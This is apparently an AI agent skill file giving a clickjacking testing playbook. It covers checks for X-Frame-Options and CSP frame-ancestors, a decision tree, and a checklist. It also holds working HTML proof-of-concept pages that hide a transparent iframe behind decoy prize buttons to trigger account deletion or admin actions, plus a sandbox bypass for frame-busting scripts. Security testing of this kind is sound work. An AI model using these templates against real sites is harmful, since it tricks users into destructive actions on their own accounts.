| name | clickjacking |
| description | Clickjacking playbook. Use when testing whether target pages can be framed, whether X-Frame-Options or CSP frame-ancestors are properly configured, and whether UI redress attacks can trigger sensitive actions. |
SKILL: Clickjacking โ Expert Attack Playbook
AI LOAD INSTRUCTION: Clickjacking (UI redress) techniques. Covers iframe transparency tricks, X-Frame-Options bypass, CSP frame-ancestors, multi-step clickjacking, drag-and-drop attacks, and chaining with other vulnerabilities. Often a "low severity" finding that becomes critical when targeting admin actions.
QUICK START
First-pass probes
| Signal | Probe | Why |
|---|
| Sensitive action page? | List pages with state-changing actions (delete, transfer, role change) | High-value clickjacking targets |
| X-Frame-Options present? | Check response headers for XFO: DENY / SAMEORIGIN / absent | Absent or misconfigured = frameable |
| CSP frame-ancestors present? | Check for frame-ancestors 'none' / 'self' / absent | Supersedes XFO in modern browsers |
| Load in iframe? | Create <iframe src="https://target/sensitive-action"> | Page loads = frameable = vulnerable |
| Frameable? | Build transparent iframe PoC with decoy button | Confirms exploitable clickjacking |
curl -sI https://target/account/delete | grep -i "x-frame-options\|content-security-policy"
1. CORE CONCEPT
Clickjacking loads a target page in a transparent iframe overlaid on an attacker's page. The victim sees the attacker's UI but clicks on the invisible target page, performing unintended actions.
<style>
iframe { position: absolute; top: 0; left: 0; width: 100%; height: 100%; opacity: 0.0001; z-index: 2; }
.decoy { position: absolute; top: 200px; left: 100px; z-index: 1; }
</style>
<div class="decoy"><button>Click to win a prize!</button></div>
<iframe src="https://target.com/account/delete?confirm=yes"></iframe>
2. DETECTION โ IS THE PAGE FRAMEABLE?
Check X-Frame-Options Header
X-Frame-Options: DENY โ cannot be framed (secure)
X-Frame-Options: SAMEORIGIN โ only same-origin framing (secure for cross-origin)
X-Frame-Options: ALLOW-FROM uri โ deprecated, browser support inconsistent
(header absent) โ frameable! (vulnerable)
Check CSP frame-ancestors
Content-Security-Policy: frame-ancestors 'none' โ cannot be framed
Content-Security-Policy: frame-ancestors 'self' โ same-origin only
Content-Security-Policy: frame-ancestors https://a.com โ specific origin
(directive absent) โ frameable
CSP frame-ancestors supersedes X-Frame-Options in modern browsers.
Quick PoC Test
<iframe src="https://target.com/sensitive-action" width="800" height="600"></iframe>
If the page loads in the iframe โ frameable โ potentially vulnerable.
JavaScript Frame Detection (from target page source)
if (top.location.hostname !== self.location.hostname) {
top.location.href = self.location.href;
}
If this code is present but not using CSP frame-ancestors, it can often be bypassed.
3. PROOF OF CONCEPT TEMPLATES
Basic Single-Click
<html>
<head><title>Free Prize</title></head>
<body>
<h1>Click the button to claim your prize!</h1>
<style>
iframe { position: absolute; top: 300px; left: 60px;
width: 500px; height: 200px; opacity: 0.0001; z-index: 2; }
</style>
<iframe src="https://target.com/account/settings?action=delete"></iframe>
</body>
</html>
Multi-Step Clickjacking
For actions requiring multiple clicks (e.g., "Are you sure?" confirmation):
<div id="step1">
<button onclick="document.getElementById('step1').style.display='none';
document.getElementById('step2').style.display='block';">
Step 1: Click here
</button>
</div>
<div id="step2" style="display:none">
<button>Step 2: Confirm</button>
</div>
<iframe src="https://target.com/admin/action"></iframe>
Reposition iframe for each step to align the transparent button with the decoy.
Drag-and-Drop Clickjacking
Extract data from one iframe to another using HTML5 drag-and-drop events โ the victim drags across invisible iframes, transferring tokens or data.
4. BYPASS TECHNIQUES
Frame-Busting Script Bypass
Some pages use JavaScript frame-busting:
if (top !== self) { top.location = self.location; }
Bypass with sandbox attribute:
<iframe src="https://target.com" sandbox="allow-forms allow-scripts"></iframe>
X-Frame-Options ALLOW-FROM Bypass
ALLOW-FROM is not supported in Chrome/Safari. If the server relies solely on ALLOW-FROM, modern browsers ignore it โ page is frameable.
Double-Framing
If X-Frame-Options: SAMEORIGIN is set, but a same-origin page exists that can be framed (without XFO), use that page as an intermediary to frame the target.
5. HIGH-IMPACT TARGETS
Account deletion page
Email/password change form
Admin panel actions (add user, change role)
Payment confirmation
OAuth authorization ("Allow" button)
Two-factor authentication disable
API key generation
Webhook configuration
DECISION TREE
Page has sensitive action (delete account, change email, admin)?
โโโ X-Frame-Options header present?
โ โโโ DENY or SAMEORIGIN โ cannot frame cross-origin (check CSP too)
โ โโโ Missing or ALLOW-FROM โ frameable
โโโ CSP frame-ancestors directive present?
โ โโโ 'none' or 'self' โ cannot frame cross-origin
โ โโโ Missing โ frameable
โโโ Page loads in iframe?
โ โโโ No โ frame-busting script detected?
โ โ โโโ Yes โ try sandbox="allow-forms allow-scripts" bypass
โ โ โโโ No โ XFO/CSP blocks framing โ not vulnerable
โ โโโ Yes โ framing allowed
โ โโโ Single-click action โ build basic transparent iframe PoC
โ โโโ Multi-step action โ build multi-click PoC with repositioned iframe
โ โโโ Data to extract โ drag-and-drop clickjacking PoC
โโโ Not frameable but subdomain has XSS?
โโโ Use subdomain XSS as same-origin staging point
MCP TOOLS
| Tool | Use Case |
|---|
browser_agent_inspect | Inspect target pages for X-Frame-Options and CSP frame-ancestors headers |
http_framework_test | Craft custom HTTP requests to test framing behavior and header configurations |
http_repeater | Replay requests to verify header responses across different endpoints |
TESTING CHECKLIST
โก Check X-Frame-Options header on sensitive pages
โก Check CSP frame-ancestors directive
โก Create iframe PoC and verify page loads
โก Test frame-busting scripts โ try sandbox attribute bypass
โก Identify high-value single-click actions
โก For multi-step actions, build multi-click PoC
โก Test both authenticated and unauthenticated pages
โก Verify ALLOW-FROM behavior across browsers
RELATED ROUTING
- csrf โ CSRF and clickjacking both exploit victim browser sessions
- xss โ XSS can inject iframe content and chain with clickjacking
- cors โ CORS misconfiguration can complement framing attacks
- authbypass โ Auth bypass determines which actions are exploitable
